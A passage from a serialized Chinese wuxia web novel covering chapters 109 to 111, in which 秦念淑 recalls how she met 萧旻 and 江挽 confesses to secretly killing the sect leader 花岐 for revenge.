只见她猛地将手中的筷子用力地拍在了桌子上,发出清脆而响亮的声音。 伴随着这声响,冬苓气鼓鼓地瞪着傅霖,大声嚷道:“你这个人怎么回事呀?亏得我之前还觉得你是个大好人呢!” 一旁的秦在锦自然不会袖手旁观,立刻随声附和起来:“师兄弟之间能有多大的怨?为何下那么重的手?” 傅霖见状无奈地叹息一声,试图解释道:“当时真的只是正常的切磋而已,你们不要想得太极端了。难不成这个世界只有非黑即白吗?我也是为了他好。” 秦在锦根本不听这些辩解,“把人打得卧床半个月之久也算正常切磋?那不正常的切磋是不是还得搭上一条命啊?” 冬苓更是毫不客气地回怼道:“口口声声说是为了洵哥儿好,那这种‘好福气’给你你要不要啊?” 一直沉默不语的江挽静静地看着眼前这两个因为替江洵打抱不平而争吵不休的人。 不知从何时起,那个总是形单影只的江洵,竟也拥有了无论在何种场合下都会毫不犹豫地站出来维护他的朋友。 本小章还未完,请点击下一页继续阅读后面精彩内容!想到这里,江挽不禁嘴角微微上扬,露出一抹欣慰的微笑。 而傅霖这属实是哑巴吃黄莲,有苦说不出。 虽然这主意不是他出的,可人是他揍的啊! 而他当时也确实是有些想要泄愤的意思在。 看着吵来吵去的几个人,云蘅不仅没有一点儿觉得自己说错了话,反而还看热闹不嫌事儿大的继续煽风点火。 “可不是嘛!那时候洵儿才多大,又瘦又小的,哪经得住他那么折腾!” “就是!”温如玉也附和道。 这可是在三阁!他最识时务了!帮着江洵说话准没错! 就在傅霖想要再辩解两句的时候,“受害人”发话了,本以为依着那人的性子肯定会阴阳怪气的落井下石一番。 可却听他说道:“是我那时候修为低,属实怨不得他。” 江洵说完之后,缓缓地将目光投向了傅霖,眼神之中流露出些许歉意。 那神情似乎在告诉傅霖,冬苓和秦在锦刚刚所说的那些话不过是一时口快、无意为之,希望他莫要放在心上。 傅霖又何尝看不出江洵这半年以来对他态度上的转变? 不论是二人的交谈,亦或是处理阁中事务,江洵总是表现得恰到好处、彬彬有礼,从未有过半分越界之举。 即便偶尔在中律司相遇,江洵也仅仅是微微颔首致意,随后便与之擦身而过,绝不多做停留。 那人就像小猫儿一般,平日里沉默寡言,可偏偏就是这样无声无息之间,轻轻地在他的心头上挠了那么一下。 虽说这种感觉并不强烈,既不疼痛,也不会让人觉得瘙痒难耐,但却足以令人心生挂念、难以忘怀。 尤为值得一提的是,自那以后,江洵便再也未曾喊过他“师兄”。 夜幕降临,万籁俱寂。众人准备就寝之时,秦在锦选择睡在了江洵的房间里。 原本打算为冬苓另行整理出一间屋子,怎料那小姑娘竟执拗地吵嚷着非要与江挽同住。 于是乎,在去后院的路上,一人走在前,另一人则紧随其后。 走在前方的那位率先开口问道:“你是不是有什么事情想要听我说?”语气轻柔而平和。 冬苓微微颔首,随后突然意识到江挽看不见,连忙开口解释道:“我全都想起来了,咱们的确见过,就在玉沙。” 江挽闻声止住脚步,缓缓转过身来,尽管眼前一片漆黑,无法看清周围的景象,但若是蕴灵还是能察觉出有没有第三人在场。 “你大可安心,此处并无他人,这一次我长记性了,绝不会再像上次在栖花里那样,当着旁人的面提及玉沙之事。” 冬苓显然洞悉了江挽心中所想,急忙快步上前,迫不及待地向她说明情况。 她所指的是当初在栖花里时,江挽不肯承认与自己相识一事。 “大哥嘱托我转达一句话给你,他说池愿如今正在玉沙。” 江挽一听到“池愿”这个名字,不由得皱起眉头,满脸狐疑之色,难以置信地呢喃道:“池愿?” 那个孩子早在八九年前便已夭折离世。 可转念一想,似乎又有些不对劲……当时每一个人的尸首,她都记忆犹新、历历在目,那些都是她亲自埋葬入土的。 细细回想起来,那时确实未曾见到池愿的遗体。 且不说那孩子当时只有两岁,身子较小,就单说她那一头白发,也很难让人无视掉。 冬日的寒风凛冽地吹着,冬苓上前牵住了江挽的手,带着她往屋里走去。 “嗯,其实早就已经找到了,可一直没能寻到合适的时机告知于你。” 江挽闻言,迟疑片刻后,才轻声问道:“那......她如今状况如何?是否安好?”言语间满是关切之情。 冬苓忙不迭回答道:“挽姐姐大可放心啦!小池现今好着呢,玉沙的哥哥们对她更是关怀备至,只要是她想要的东西,都会毫不犹豫地买给她。” “那待遇简直快比得上我咯!就连师父,对小池也是喜爱有加呢。” 江挽听到此处,心中稍安,但再次开口询问道:“你二哥可知此事?” 冬苓点了点头,应声道:“当然知道啦!池愿那些漂亮的衣裳和首饰,可都是二哥给添置的。” 江挽紧接着追问道:“那他们可有打听池愿的身世背景?” 冬苓歪着头想了想,然后说道:“自然是有问过的啦,不过大哥只说是在路上捡到的。” “……这能有人信?” 冬苓眨巴着那双水灵灵的大眼睛,满脸疑惑地反问道:“为何会无人相信呢?我当年不也是被师父从路边捡回来的么?” 顿了顿,她似乎还觉得不够说服力,又补充道:“再说了,洵哥儿不也是挽姐姐从岭泉村带回来的嘛。” 说完,她一脸无辜地望着江挽,似乎并不理解江挽为何会对此有所质疑。 行…… 江挽叹了口气,成功被她这一套看似无理实则也没理的说辞说服了。 “而且池愿说她之前见过你。”冬苓进门后,先是把江挽扶到椅子上,然后点燃了蜡烛,最后才去关门。 这章没有结束,请点击下一页继续阅读!“什么时候?” “她就是上次在栖花里拽你脚踝的那个小乞丐呀。” “我……” 我看不见。 倘若当时她能够瞧见,无论如何都绝不会容她一人趴在那冰凉刺骨的石板路上,也定然不会仅仅拿一两个糕点便将她随意地打发掉,更不可能对她这般冷漠无情、不管不顾。 可她看不见。 “但是大哥能看见呀,所以将她带回了玉沙。大哥还让你不必思虑过多,并且表示如果你愿意的话,可以带小池回三阁养着。” 江挽听后轻轻摇了摇头,缓缓说道:“三阁……不能给三阁增添麻烦,此事还需从长计议。” 三阁有她一个人就够了,再多一人,恐会多出事端。 待冬苓进入深深的梦乡之后,江挽方才摘下纱,默默走到院子当中坐下。 说起池愿,乃是隔壁池叔叔家的女儿。 自出生以来,她便和其他普通的孩子大不相同。 不单是那一身肌肤如雪,就连头发亦是纯净的白色,尤其是那双瞳孔更是一种朦胧的灰色,宛如雾气弥漫其中。 本以为是得了白化病,可她却能够毫无顾忌地暴露在阳光之下,不仅如此,其说话和行走的速度相较于同龄的孩子也要迅速许多。 村里那位经验颇为丰富的大夫,对着那小家伙一番望闻问切之后,也是眉头紧皱,始终没能查出个具体的病因来。 说来也怪,这小家伙仿佛有着超乎常人的敏锐感知力,能够轻而易举地察觉到周围人的情绪变化。 面对大家担忧的目光和焦急的询问,她却总是扬起那张纯真无邪的笑脸,用清脆甜美的嗓音说道:“没关系,没关系。” 就好像生病的不是她一般。 由于两家住得很近,她便成了江家的常客。 池愿时常迈着轻快的小步子,一溜烟地跑到江家门前,伸手轻轻一推,门扉发出“吱呀”一声响后,她便像只欢快的小鸟一样飞进院子里。 她会径直地奔向江挽所在之处,小手紧紧拽着江挽的衣袖,嘴里还不停地喊着:“小碗儿,小碗儿。”那声音软糯糯的,让人听了心里直发软。 除此之外,一大一小的身影日日出现在银杏树下,说要等那个叫秋哥的人归来。 有时候一等就是好几个时辰,直到池愿的小肚子饿得咕咕叫,她才会拉起江挽的手,蹦蹦跳跳地往家里走去。 可那天,人太多,雨太大,哭喊和兵刃相交,就连那些繁茂的银杏树也在一夜之间成为枯枝败叶。 那时的她已心存死志,又怎会在意池愿的生死。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第109章 怦然心动 “名门正派也有翻墙入院这一说么?” 一阵微风拂来,江挽察觉到后院的结界有人闯入。 “少抬举我,你怎得又不戴白纱,这次被我逮到了吧。” 秦念淑手中拎着两壶阳春酒,踱步走来。 江挽毫不客气的接过那两壶酒,开口道:“是怕走正门,撞到小锦?” 秦念淑无奈的笑了一声,抬眸看到江挽略带担忧的眼神时,皱了下眉,“你不会也要劝我吧?” 这些时日以来,她听到过无数次类似的话语。 无非就是她和萧旻绝非天造地设的一对佳偶,即便将来真能喜结连理,婚后的生活恐怕也是毫无幸福可言。 更有甚者,竟指责她是痴心妄想,故意插足萧花二人的情感。 也许最初确实是她心存幻想、自作多情,但倘若萧旻对她没有半分情意,又怎会亲自去阳春门求亲? 江挽打开了其中一壶酒,慢慢地将其倒入杯中,同时说道:“我才不劝你呢。” 秦念淑顺手接过酒杯,微微一笑,笑声中略带一丝苦涩,“我原本还以为,你会像沈亦行那样,给我讲一堆大道理呢。” 江挽轻抿一口酒后缓缓说道:“怎样都行,错了也无妨。不过千万要记得,凡事要给自己留一条后路。” “放心好了,这一点我心里清楚着呢。” 江挽放下手中的酒杯,饶有兴致地看着秦念淑,“聊聊?” 秦念淑一脸疑惑地反问道:“聊什么呀?” “聊你为什么会喜欢萧旻呗。” 为什么…… 许是初见时的惊鸿一瞥令她难以忘怀,自那以后的每一次相遇,她的目光便再也无法从他身上挪开分毫。 遥想当年,年仅十岁的秦念淑跟随父亲秦方礼踏上了四处行医之路。 在行至仁州的某个小镇时,二人停下了脚程。 当时,整个镇子正热热闹闹地举行着盛大的庙会,熙熙攘攘的人群川流不息,叫卖声、欢笑声此起彼伏,好不热闹! 而秦方礼那人一旦忙碌起来,连吃饭都能抛诸脑后,更无暇顾及年幼的秦念淑了。 小念淑自认为已经同爹爹打过招呼后,就蹦蹦跳跳地从医馆溜了出来。 可眼下的医馆人头攒动,那包扎伤口青年又哀嚎声不断,秦方礼根本就没有注意到自家闺女已经离开了。 庙会上的街道两旁摆满了琳琅满目的小玩意儿,许多都是她在蔺州未曾见过的东西。 她兴奋地左瞧右看,一时间挑花了眼,感觉什么东西都想买,但仔细一瞧儿又觉得好像都差那么点儿意思。 就在她犹豫不决之时,一只悬挂在摊位最中央位置的白狐面具瞬间吸引住了她的目光。 那面具制作得极为精巧,栩栩如生,仿佛下一秒就能活过来一般。 正当想要买下它的时候,听到方才自己停留过的那个摊位不知何时起发生了激烈的争吵。 只见那个摊贩怒目圆睁,手指着那人大声叫嚷道:“买东西不给钱,是想偷东西不成?!” 而那人则一脸无辜,连忙争辩起来:“我怎么可能没给钱?我早就把钱扔到你的钱袋子里面去了,是你自己没看到罢了!” 两人你一言我一语,互不相让,争吵得愈发激烈。 摊贩老板冷哼一声,朝着周围大喊大叫起来,不一会儿功夫,又有好几个人围拢了过来。 那老板气势汹汹地指着那人道:“既然你说给了钱,那就拿出证据来!否则你就得给我多付十倍的价钱,不然休想从这地儿离开!” 随着时间流逝,围观的人越来越多,大家伙纷纷交头接耳、指指点点。 面对如此阵势,原本理直气壮的公子也开始有些犹豫不决了。 “他给过钱了。” 众人循声望去,只见一位个子不高的小女孩慢悠悠地来到摊子前面。 她方才恰好路过此处,亲眼目睹那人给钱的过程。 当时,看到他往钱袋子里扔钱的时候,秦念淑心中还不禁暗自夸赞那人扔得很准! 要知道,那钱袋的口子并不大,可他手里的那几枚铜钱却像是长了眼睛一样,全都准确无误地投了进去。 然而,摊贩老板听到秦念淑的话后,不仅没当回事儿还有些嗤之以鼻。 他轻蔑地瞥了一眼秦念淑,冷笑着说:“你个小丫头片子,年纪不大口气倒不小,你说给过就给过啦?” 秦念淑并不在意自己被人轻视,依然面不改色,神情坚定地看着摊主,一字一句清清楚楚地说道:“我看到了!” “我还说我没看到呢!”摊贩旁边的一个大叔起哄道。 “就是,赶紧把钱给人老板吧,人家做生意也不容易,左右也没多少钱,干嘛摊这种小便宜!” “可我就是看到了!!” 她长这么大,哪受过这种委屈,别说在阳春门,就是在蔺州,她都能横着走! “姑娘,算了,我自认倒霉。”身旁的男子说着就要掏钱,以息事宁人。 可秦念淑哪肯如他愿,依旧同他们争执着:“给过了就是给过了,段没有你们这么做生意的道理!!” 本小章还未完,请点击下一页继续阅读后面精彩内容!“你说你看到了,那你倒是说说他的铜钱长什么样?再说说这钱袋子里有没有?” 老板冷笑一声,继续说道:“谁家小闺女儿?到底会不会管教啊?怎得年纪轻轻的就谎话连篇呢!你娘呢?” “上梁不正下梁歪呗。” “有娘生没娘养。”隔壁的婶婶冷笑一声。 “我......我真的看到了。” 秦念淑眼眶微红,肩膀耸动,她深吸一口气,怕眼眶的泪水流出去。 阿娘说过,不可以在外人面前哭。 阿娘说过,只可以在他们怀里哭。 那老板见状,继续说道:“你看看,说不得两句就要哭,还不是心虚了!” “我没有心虚!我就是看到了!” 那男子叹了口气不欲再多做纠缠,重新扔了几个铜板进去以后,便拂袖离去。 独秦念淑一人还站在那里。 “到底是谁家小孩啊,还不赶紧带走啊。” “瞅着面生,不是咱们这儿的吧。” “咱这儿的丫头不这样,没家教。” “我没有!我没有说谎!”她还是倔强着一遍又一遍的强调自己看到了,自己并没有说谎。 “她没有说谎,那人也确实给过钱了。” 这时,一个同她年纪相差无几的小公子走来说道。 老板这打眼一看,怎得又来了个孩子,顿时翻了个白眼,没好气道:“小娃娃,你又是哪家小公子啊?你又可有证据?” “我方才在二楼吃茶,那位小哥给钱的时候我也看到了,包括这位姑娘路过此地时停顿的脚步我也看的一清二楚。” 就在那老板想要张嘴反驳的时候,那位小公子却是抢先一步开了口,只见他微微仰起头,目光如炬地盯着老板。 “当时可不只我一人在二楼,我身后的这几位哥哥同样也在呢。阁下现在找我索要证据,我当然能够提供给你。但倘若事实是你在借机行骗,那又当如何?” 那老板听了这话,心里不由得咯噔一下,再抬头看向这位小公子时,发现对方神情异常严肃,没有丝毫开玩笑的意思。 不知为何,尽管眼前之人不过是个乳臭未干的毛头小子,但他看人的那种眼神却犹如一把利剑,直刺人心窝,竟有一种难以言喻的压迫感。 “回话,该当如何?” 小公子再次开口催促道,声音虽不大,却字字清晰有力,那双乌黑深邃的眼眸中隐隐透出一丝杀意。 当老板将视线稍稍转移到小公子身后所站立着的那几个人身上时,更是心中一惊。 这几个人一个个身材魁梧、孔武有力,站姿挺拔如松,看上去绝非普通的平民百姓,反倒更像是经过严格训练且纪律严明的打手。 在这样的阵势面前,老板原本还强装镇定的心瞬间就乱了方寸,整个人开始变得手足无措起来。 他嘴唇哆嗦着,好半天才从嘴里挤出一句:“那……那也许真的是我看错了吧。” “哦?仅仅只是看错了而已吗?”小公子挑了挑眉,显然对这个答案并不满意。 “对对对,就是看错了嘛。当时人来人往的,那么多客人,我一时疏忽没看清楚也是很正常的呀!而且当事人自己都没说什么,重新付过钱离开了,你……你又何必在这里多管闲事呢。” 老板一边说着,一边偷偷观察着这小子的脸色,试图揣摩出对方的情绪。 “道歉。” 老板刚想说“我凭什么道歉”,可再仔细一瞧儿,天老爷,这几位都什么来头?怎得还随身带刀呢!有辱斯文!! “对......对不起......” 少年摇了摇头,似乎对这个道歉不满意。 “跟这位小姑娘道歉,不是跟我。” “对不起啊,丫头,叔方才太忙了没看清楚,冤枉你了。” “还有你呢。” 少年抬了抬下巴,示意隔壁摊子的婶婶一并道歉,他可没记错这人方才说了一句“有娘生没娘养。” “至......对不起!” 她想说至于么,可看那孩子冷漠的表情,又说不出话来,只好乖乖地道了歉。 “是想要那个吗?”小公子指着对面摊子上的狐狸面具问道。 他看到这小姑娘一开始就只是想买个面具来着。 “嗯,白色的那只。”秦念淑匆匆瞥了一眼,便迅速垂下眼眸,颔首确认道。 只见那位小公子优雅地挥了挥手,向身后跟随的人示意将那个精美的面具买下。 很快,面具被送到了他的手中,他又轻柔地将其递到了秦念淑面前。 “方才那股同人争执的劲头儿去哪儿啦?怎得这会儿反倒沉默不语了?” 小公子饶有兴致地调侃道。 秦念淑默默接过面具,低头将它戴上,又小心翼翼地调整好位置,确保面具能够稳稳当当地戴在脸上而不会滑落时,才缓缓抬起头来。 “没有不说话呀,你叫什么名字呀?” 听着她那浓重的鼻音,定然是躲在面具后面偷偷掉泪儿呢。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“萧旻。”小公子微笑着回答道。 “我记住了,我叫秦念淑,今日多谢公子仗义相助,替我解了围。”秦念淑感激地说道。 正当秦念淑准备转身离开时,萧旻却一个箭步跨上前去,挡住了她的去路。 “你并非此地的姑娘吧,可知晓如何回家?”萧旻目光关切地看着她,柔声问道。 秦念淑摇了摇头,低声应道:“不知……” 见此情形,萧旻不禁无奈地轻叹了一口气,随即温和地开口说道:“罢了,送你。” 待秦念淑说出医馆的名字,萧旻朝身后的随从们略一示意,他们这才敢迈步走到萧旻身前,引领着二人朝着医馆的方向走去。 两个小孩就这么不紧不慢的在后面跟着,期间谁也没有再多说什么。 直到安全将秦念淑送至医馆,亲眼看着她走到秦方礼身旁,萧旻才转身离去。 这前脚刚跨出医馆的门,后脚就听到身后传来那人躲在父亲怀里的哭泣声。 萧旻不禁勾起一抹笑意,原来是忍了一路。 “就……就这样……你就非他不嫁了?” 江挽皱着眉头看向秦念淑,不应该啊,她不应该是被这点儿感情就左右情绪的人啊。 秦念淑笑道:“当然不是,后来……” 后来,又过去四五年之久。 她与秦方礼一并前往上京城的路途,目的地便是那座繁华都市中的医馆。 而他们即将停留数日的地方,恰好位于暮商宗所管辖的地域范围之内。 秦方礼此时心中早已有了盘算,他有意磨炼一下秦念淑。 于是在抵达医馆门口时,随意为她支起了一个简易摊位,并交代道:“今日起,你就在这儿看诊吧,将诊断结果和药方写下交于病人,随后让他们进来医馆抓药即可。” 这样做,一来是为了锻炼秦念淑独立看诊的能力,二来也是想要检验她这两年来学习的医术有没有长进。 头两天,一切似乎都进展得颇为顺利,没有出现什么异常的状况。 可世间之事往往难以预料,总有一些闲来无事、喜欢寻衅滋事之人前来捣乱。 这几个地痞无赖上来就对秦念淑百般挑剔,先是冷嘲热讽地说道:“瞧你这年纪轻轻的模样,怎么可能会治病呢?别在这里装模作样了!” 接着又蛮横无理地叫嚷着:“这地界儿不许摆摊,识相点的话赶紧收拾东西走人!” 面对这般挑衅,她早已不再是当年那个只会一味反驳却不知如何应对的小女孩了。 只见她二话不说,迅速抄起身旁的一根木棍,朝着那人狠狠揍了过去。 虽说她当时的确是把心头的怒气发泄出来了,但与此同时,这梁子也算是结下了。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第110章 权衡利弊 翌日,那几人便带着几位暮商宗的弟子快步走来,显然是觉得自己找到了得力帮手,走路的时候就差用鼻子看人了,很是威风。 领头的那人二话不说就要掀摊子,这动静随即传到了医馆里面,秦方礼听到后刚想出来之时,被站在外面的秦念淑一嗓子制止了。 “你就待在里面别动,这么点事儿我自己能处理。” 曾经那个一受委屈便扑进爹爹怀中撒娇哭泣的小女孩已然长大成人。 特别是近两年来,她仿佛脱胎换骨一般,从昔日乖巧听话的囡囡摇身一变,成为了整日与父亲对着干、处处唱反调的任性大小姐。 如今的她,行事风格变得果断决绝、干脆利落。无论做什么事情,都是一副雷厉风行、风风火火的模样。 这可让身为父亲的秦方礼感到十分头疼和无奈。 他时常在想,是不是由于妻子晚晴过早离世,使得阿念缺少母亲的陪伴和教导,才致使她的性格愈发倔强固执,犹如一头犟驴! 每每回想起她儿时那副天真烂漫、活泼可爱的模样,还没来得及欣慰就又看到眼前这个脾气执拗的少女,秦方礼两眼一摸黑。 更有甚者,有时她生起气来连声父亲也不喊,而是直呼其名。 如此举动,令秦方礼倍感忧愁,常常夜不能寐,辗转反侧。 尽管秦念淑口口声声表示自己能够应对一切,但毕竟她孤身一人,势单力薄。而此次面对的对手,乃是加上暮商宗的弟子总共十余人。 倘若真的动起手来,吃亏的必定是秦念淑无疑。 就在双方剑拔弩张、气氛紧张到极点之时,局势却因萧旻的意外出现而发生了戏剧性的转变。 据说秦方礼近日将会来到此地义诊,故而萧济世便让他代表暮商宗前来探望,并帮忙着打点一二,尽一下地主之谊。 可谁曾想,萧旻尚未抵达,暮商宗的其他弟子竟抢先一步到达了现场。 只是那几人不是来给秦方礼打点一二的,而是给人家闺女打架斗殴的。 这下可把那位极其看重脸面的天之骄子给惹怒了,当场便大发雷霆起来。 先是毫不留情地责令那几个冒犯了秦念淑的弟子向她道歉,又将那几个不知天高地厚的地痞流氓狠狠地教训了一番。 打从那天过后,这几名弟子就如同忠诚的小弟,被萧旻派遣到了秦念淑的摊位四周驻守。 但凡一碰到那些寻衅滋事或是耍赖撒泼之人,几人都会毫不犹豫地上前帮忙处理,并且看到秦念淑时的态度也变得极为恭敬,一口一个“念姐”叫得亲切无比。 而萧旻只要没有什么要紧事,便常常会踱步来到这边稍作停留。 每次过来之后,他总会若无其事般坐到秦念淑身旁,就好像他们俩已经相识许久似的。 他尤其钟情于静静地凝视着秦念淑聆听病人娓娓道来陈述病情时的模样。那时的她,面容专注而又认真,宛如一幅精美的画卷。 当她琢磨问题之际,那双好看的秀眉总是会不由自主地微微蹙起;然而,一旦下笔书写药方的时刻,她整个人又变得从容不迫、泰然自若起来。 特别是每当听到当地的淳朴百姓以及曾经接受过她精心救治的病人们满怀感激之情向她诚挚地道谢时,她总会轻轻垂下眼眸,嘴角漾起一抹温柔浅淡的笑意。 萧旻疲惫之时会趴在桌上小憩一会儿,可每当周遭安静下来,他又会像警觉的猫一样,不时抬起头来瞄一眼身旁的秦念淑。 时光荏苒,转眼间秦家父女即将前往下一个地方的医馆。 萧旻亲自相送,一路上两人并肩而行,有说有笑。 待到分别的时刻来临,萧旻忽然伸手入怀,掏出了一块晶莹剔透的狐狸玉佩,并轻轻地递到了秦念淑的掌心之中。 秦念淑望着这块精美的玉佩,眼中闪过一丝讶异之色,不禁脱口而出:“狐狸?” 萧旻微微颔首,轻声应道:“嗯,不喜欢吗?” 想当初在众多琳琅满目的动物面具当中,她独独选了那只栩栩如生的狐狸。 秦念淑双手轻柔地接过物件,犹如捧着稀世珍宝一般,然后小心翼翼地将其佩戴在腰间。 她抬起头,脸上绽放出如花般灿烂的笑容,声音清脆而甜美地说道:“喜欢的!” 此时正值九月,秋高气爽,天气恰到好处。 微风轻拂而过,带来丝丝凉意。 少女眉梢眼角都含着笑意,两颊微微泛红,煞是可爱。 温暖的日光倾洒而下,如同金色的轻纱披覆在她身上,整个人像是镀上了一层璀璨的光芒。 那模样,恰似玉佩上灵动又狡黠的狐狸,惹人怜爱不已。 一旁的萧旻见状,不禁轻咳一声以掩饰内心的些许慌乱。 随后又转向秦方礼,恭恭敬敬地说道:“暮商之行,小侄招待多有不周之处,还望伯父海涵,千万不要怪罪。” 秦方礼凝视着眼前这个谦逊有礼、风度翩翩的少年,心中满是欢喜和赞赏,忍不住与他多寒暄了几句。 本小章还未完,请点击下一页继续阅读后面精彩内容!如此懂礼数又优秀的孩子,要是自己家的该有多好! 秦念淑苦笑着摇了摇头,端起桌上的酒杯,仰头将杯中清冽的美酒一饮而尽。 酒水顺着喉咙滑落,带着一丝苦涩的味道弥漫开来。 她缓缓放下酒杯,轻声呢喃道:“你知道吗,有些人或许并未给予你那种刻骨铭心、轰轰烈烈的爱情,也未曾真正在水深火热之时拯救你脱离困境。” “可是,当他仅仅只是站立在那里,你的视线却再也无法从他身上移开之时,我便知道了,是我输了。” 她知道的。 她一直都知道萧旻不喜欢她,她也一直都知道萧旻的意中人是花时雨。 想必那人愿意娶她,不仅是念着她是阳春门的大小姐,更因着阳春门今后会由她掌管。 而花时雨,只要有她哥哥花停云在位一天,那么花朝楼就不会听命于她。 所以权衡利弊之下,放眼整个江湖,她是那最优选。 许是听到身旁的人没有说话,秦念淑问道:“你跟沈亦行......” “不是一路人。”江挽想也没想的就回答。 “他几年前救的那人......是不是你?” “是我。倘若不是他,我已经是那一捧黄土了。” 秦念淑沉默了好一会儿之后,轻声问道:“几年前的你,为何不想活?” 江挽缓缓抬起头来,目光落在面前那精致的茶杯里。 杯中倒映着一轮皎洁的明月,是如此的遥远而虚幻,仿佛永远也无法触及。 江挽皱起了眉头,并不想回忆那几天发生的事情。 一切都发生的太快了,她甚至都没来的及跟爹娘好好道别。 是突然闯入,没有丝毫的预兆。 是突然返回,杀她个措手不及。 “我不知道我的仇人都是谁,我至今都无法接受那些曾发生的事情。痛苦和呐喊在我耳畔久久不能停歇,像枷锁一样紧紧束缚着我,唯有死亡方能令我解脱。” 说完这些话,江挽重重地靠在了椅背上,闭上了眼睛。 秦念淑听着江挽的叙述,迟疑片刻,接着追问道:“如今……可还有这样的念头?” 心病还须心药医,倘若她自己不敞开心扉,开始新的生活,那么眼睛也很难痊愈。 江挽闻言,睁开双眼,凝视着秦念淑那张充满关切与担忧的脸庞,突然间嘴角微微上扬。 还没等秦念淑反应过来,江挽便紧接着反问道:“你可知晓花岐究竟是如何死去的?” 她并没有直面回答秦念淑提出的问题,反而抛出了另外一个让人意想不到的疑问。 秦念淑为之不解,花岐的死因她自然是心知肚明——凶手趁其不备,一刀封喉! 那一年,秦方礼去了荒川,路途遥远,除夕之夜都没赶回来。 而阳春门当时能够独当一面、处理事务之人便只剩下她一人。 花岐身患重病且病情危急万分,尽管花朝楼对她的医术有所顾虑,但最终还是决定请秦念淑前去为其诊治。 毕竟无论怎样讲,秦念淑都是出自阳春门,又是秦方礼一手教出来的徒弟。 当她终于查出病因后,已为时已晚。就算是服药,也只能延迟死亡的时间。 站在一旁的花停云听到这样的结论后,心中难免有些失望和不满。 可考虑到同阳春门的关系以及对方确实已经尽力而为,花停云纵使心中有所怨言,却也不好多说什么。 而另一边,花时雨自从得知父亲的病情之后,整个人仿佛失去了主心骨一般。 她日夜守在花岐的病床之前,几乎寸步不离。 每每看到花岐被病痛折磨得面容憔悴、气息奄奄的模样,泪水便如决堤的洪水般止不住地流淌下来。 不仅如此,情绪激动之时,花时雨甚至会口不择言地抱怨道:“看来阳春门的医术也不过如此!” 秦念淑知道花时雨是因为担忧父亲的安危才会如此失态,因此并未与她计较这些言语上的冒犯。 但令秦念淑未曾料到的是,不知道她从何处听闻来的消息,竟说阳春门藏有一则神奇的秘方——可以令人起死回生。 自那时起,花时雨便如同魔怔了一般,天天缠着秦念淑不放,苦苦哀求她将秘方交出来,好拯救自己父亲的生命。 就连萧旻,也站在了她那边,一同劝说秦念淑再想想办法。 身为大夫,她固然有着救死扶伤之心,但她终究也是凡人一个,并非无所不能的神。 所以她想也不想便果断地拒绝了花时雨等人的请求,并斩钉截铁地说道:“这世间哪有什么起死回生的秘方!你们莫要再听信那些无稽之谈!” 本以为这件事情就这么过去了,可当晚她的房门就被人敲响,说是花岐在喝药入睡后,被人暗杀了。 花朝楼怎么说也是名列前茅的门派,若是楼主被人刺杀身亡一事宣扬出去,必定会引起轩然大波,对门派声誉造成损害。 权衡利弊之下,花停云决定暗中寻找凶手,并同时对外宣称花岐乃是因病逝世。 本小章还未完,请点击下一页继续阅读后面精彩内容!因此,江湖上知晓真相之人并不多。 而此刻,秦念淑一脸茫然地看着江挽,完全不明白她为何突然提及此事。 只见江挽缓缓起身,移步至秋千旁边,伸出一只手轻轻推动秋千,使其前后微微摇晃起来。 “你日后是要嫁给萧旻的,而萧家与花家向来交情深厚,可以说是世交之家。” “花岐那件事发生后,不少人在背地里对你指指点点,说你医术不精,连一个病人都救治不了。更有甚者,还指责你见死不救,放任花岐离世。” 说到此处,江挽深深地凝视着秦念淑,“我不知道萧花两家对此持怎样的看法,但我不想因为这件陈年旧事而让你成为众矢之的,被他们视为眼中钉肉中刺,变成刁难你的把柄。” 秦念淑紧咬嘴唇,眼眶渐渐泛红,泪水在其中打转。 她已经能猜到江挽接下来要说的话了。 “花岐是我杀的,那人本来就疾病缠身、浑身无力,喝下药汤之后更是昏沉得厉害,这才给了我可趁之机。” 江挽面无表情地陈述着事实,仿佛这件事对她来说不过是稀松平常的小事一般。 “如此说来,我还应该谢谢阿姐呢。” 就在秦念淑尚未反应过来该如何回应时,江挽紧接着又开口道:“假如他们萧花两家沆瀣一气,借着这件事在你婚后故意刁难你,你只管实话实说。” “届时让他们来献岁阁寻我,近几年我会一直待着这里,哪儿都不会去的。” “你知道自己究竟在讲些什么吗!!” 秦念淑再也按捺不住内心的怒火,不由自主地提高了音量。 然而话刚出口,她便意识到屋内还有其他人正在安睡,于是赶忙用手捂住嘴巴,硬生生地把即将脱口而出的怒吼声压了回去。 “你到底是怎么想的?为什么要这样做?难道你不清楚后果有多严重吗?沈亦行知道这事儿吗?”秦念淑压低声音问道。 她接连问了四个问题,而江挽只回答了最后一个。 “他知道。” “他怎么会知道???”秦念淑闻言,有些惊讶。 “因为我们目的一致,都想花岐死。” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第111章 弟子大会 秦念淑看着眼前的人,突然觉得有些陌生,她本以为自己是懂江挽的,可不是,那人惯会伪装,说话都是真假参半让人不知道哪句真哪句假。 至于沈亦行,她更是觉得二人自幼相识,没有人会比她更了解沈亦行,可也不是,那人总是神出鬼没,问他问题的时候也是模棱两可只捡他想回的答。 “你为何杀他?” 秦念淑问出这句话的时候,声音都有些颤抖,她想不通。 可江挽只是笑,沉默着不回话。 “沈亦行又为何要杀他?他们之间没有恩怨纠纷啊,你回话啊!” “花岐只是开始,下一个是许青临。” “为什么?” “我也想问为什么,可至今没有一个人能给我一个准确的答复。” 秦念淑将方才的信息快速的在脑海里过了一遍,然后突然想到了什么,继续问道:“是凑巧吗?” 如果江挽和沈亦行二人都对花岐起了杀心,那是凑巧,还是密谋已久。 江挽听她这么问,随即回道:“我说过,我和沈亦行不是一路人。” 那就是凑巧了。 秦念淑松了口气,又坐了下去,说道:“许青临如今身子骨正好,你若想置他于死地,万不可正面出手。” 她这话倒是出乎江挽的意外,她以为以秦念淑的立场来看,起码会劝她一二,或者直接让她放弃这个念头。 “干什么这种眼光看着我,你既不会劝我不嫁,那我自然也不会劝你不杀。” 可这是一码事儿吗?江挽心想。 她是不了解江挽究竟有何目的,但是有一点她可以确认,江挽是绝对不会无缘无故就取人性命的。 更何况,这中间还掺和进来一个沈亦行。 那小子藏得真深啊!!!她竟一直都没看出来!! “所以此事得从长计议。”江挽缓缓坐在了秋千上。 随着身体的重量落下,秋千轻轻地晃动起来。 “许青临之后呢?” 江挽微微摇了摇头,轻声说道:“不确定,当时人太多了,我看不清楚那些人的面孔。到目前为止,也只查出了花岐和许青临与当年之事有所关联。” 